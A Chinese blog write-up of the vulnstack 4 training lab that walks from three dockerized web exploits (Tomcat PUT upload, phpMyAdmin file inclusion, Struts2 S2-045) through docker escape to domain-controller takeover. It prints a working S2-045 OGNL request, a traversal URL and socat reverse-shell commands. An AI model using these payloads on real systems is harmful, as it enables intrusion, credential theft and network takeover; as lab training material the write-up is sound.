从外网到域控(vulnstack靶机实战4)

阅读量    635766 | 评论 3   稿费 350

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

大家好,我是鸿鹄实验室的lengyi,红日靶机又更新了,所以我就玩了玩…

vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

具体的网络架构作者已经给出,如下图:

ubuntu为我们的web环境,其中的web环境需要手动开启,全部为docker环境,启动方法如下:

docker-compose build
docker-compose up -d

需要启动的环境分别为:s2-045、CVE-2017-12615、 cve-2018-12613,别问我怎么知道的,问就是试的….

全开的效果:

 

外网测试

既然是docker的环境,那就把三个web全部拿下先,先从tomcat的开始,CVE-2017-12615是一个老漏洞了,很简单的利用,put上传webshell即可。

然后发现目标为root权限(docker环境不为root还奇怪呢…)

好,我们这个先放到一边,再来继续测试另外两个环境,CVE-2018-12613,这个是一个phpmyadmin的洞,也就是文件包含,利用起来也还算方便,方法如下(环境为config模式,可直接使用test账户登录):

http://192.168.0.104:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

至于包含shell也是比较简单的,select执行一个php代码,包含自己的session即可。

下面是st2-045,st2系列也是一个经典的系列,直接构造下面的数据包即可rce。

POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

好了,三个环境就算是基本完成了,下面就是一个比较重要的问题,docker逃逸。我这里使用cve-2019-5736进行逃逸。先使用msf搞一个shell回来:

这里是我们可以修改在宿主机上进行操作的命令

可自行修改对于的payload,然后编译,

go build main.go

然后将编译好的文件传到目标机上,因为我已经有了一个大马了,上传很方便。继续为了方便,socat搞一个tty的shell过来

socat file:`tty`,raw,echo=0 tcp-listen:4444  
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

执行

然后在主机执行:

Poc执行成功:

然后我们用这种方法(直接传shell或者添加用户搞shell)在宿主机上执行一个cs和msf的shell回来。

 

横向移动

msf添加路由,session返回到后台

因为有拓扑图,只需要进行攻击即可,我们先来测试win7,内网嘛,17-010试试?

不过,有一说一,我就没打虚拟机成功过….

当然也有可能是uac的问题,换成bypassUAC的进行测试:

获得shell

且直接是system权限:

进入交互模式,随手一看,发现有一些存在的工具,不知道是不是作者的安排,虽然没有到时候也需要传一些…

 

进攻域控

先抓一下win7的明文:

然后就是忌出我们的ms14-068了

然后查看本机用户的id

写入成功:

mimikztz注入票据

获取域控权限:

然后将payload放到ubuntu上,使用certutil下载、执行,即可获取shell。

发现部分administrator的进程

进行令牌窃取

获得administrator权限,然后抓取明文密码

打完收工。

 

总结

哦,谢谢红日的各位师傅们,拜谢,啊,我想开学…

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多